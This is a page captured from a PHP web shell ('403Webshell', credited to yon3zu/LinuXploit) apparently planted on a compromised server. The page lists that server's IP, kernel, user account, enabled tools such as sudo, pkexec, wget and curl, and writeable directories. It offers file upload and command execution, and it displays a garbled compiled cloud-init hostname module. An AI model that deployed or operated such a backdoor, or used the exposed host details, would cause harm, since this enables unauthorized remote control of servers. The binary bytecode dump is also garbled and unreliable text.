403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_set_hostname.cpython-36.pyc
3

?q,d��@s@dZddlZddlmZddlmZGdd�de�Zdd�ZdS)	a�
Set Hostname
------------
**Summary:** set hostname and fqdn

This module handles setting the system hostname and fqdn. If
``preserve_hostname`` is set, then the hostname will not be altered.

A hostname and fqdn can be provided by specifying a full domain name under the
``fqdn`` key. Alternatively, a hostname can be specified using the ``hostname``
key, and the fqdn of the cloud wil be used. If a fqdn specified with the
``hostname`` key, it will be handled properly, although it is better to use
the ``fqdn`` config key. If both ``fqdn`` and ``hostname`` are set,
it is distro dependent whether ``hostname`` or ``fqdn`` is used,
unless the ``prefer_fqdn_over_hostname`` option is true and fqdn is set
it will force the use of FQDN in all distros, and if false then it will
force the hostname use.

This module will run in the init-local stage before networking is configured
if the hostname is set by metadata or user data on the local system.

This will occur on datasources like nocloud and ovf where metadata and user
data are available locally. This ensures that the desired hostname is applied
before any DHCP requests are preformed on these platforms where dynamic DNS is
based on initial hostname.

**Internal name:** ``cc_set_hostname``

**Module frequency:** always

**Supported distros:** all

**Config keys**::

    preserve_hostname: <true/false>
    prefer_fqdn_over_hostname: <true/false>
    fqdn: <fqdn>
    hostname: <fqdn/hostname>
�N)�util)�
write_jsonc@seZdZdZdS)�SetHostnameErrorz�Raised when the distro runs into an exception when setting hostname.

    This may happen if we attempt to set the hostname early in cloud-init's
    init-local timeframe as certain services may not be running yet.
    N)�__name__�
__module__�__qualname__�__doc__�r	r	�%/usr/lib/python3.6/cc_set_hostname.pyr7src
CsHtj|dd�r|jd|�dStj|dd�}|dk	rB|jjd|�tj||�\}}tjj|j	d�d�}i}	tjj
|�r�tj|�jdkr�tj
tj|��}	||	jd�kp�||	jd	�k}
|
s�|jd
�dS|jd||�y|jj||�WnNtk
�r2}z0d||f}tj||�td
||f�|�WYdd}~XnXt|||d��dS)NZpreserve_hostnameFzVConfiguration option 'preserve_hostname' is set, not setting the hostname in module %sZprefer_fqdn_over_hostname�datazset-hostnamer�hostname�fqdnz*No hostname changes. Skipping set-hostnamezSetting the hostname to %s (%s)z%Failed to set the hostname to %s (%s)z%s: %s)rr
)rZget_cfg_option_bool�debugZdistroZ
set_optionZget_hostname_fqdn�os�path�joinZ	get_cpath�exists�stat�st_sizeZ	load_jsonZ	load_file�getZset_hostname�	ExceptionZlogexcrr)
�nameZcfgZcloud�logZ_argsZ
hostname_fqdnrr
Zprev_fnZ
prev_hostnameZhostname_changed�e�msgr	r	r
�handle?s8

$r)	rrZ	cloudinitrZcloudinit.atomic_helperrrrrr	r	r	r
�<module>/s


Youez - 2016 - github.com/yon3zu
LinuXploit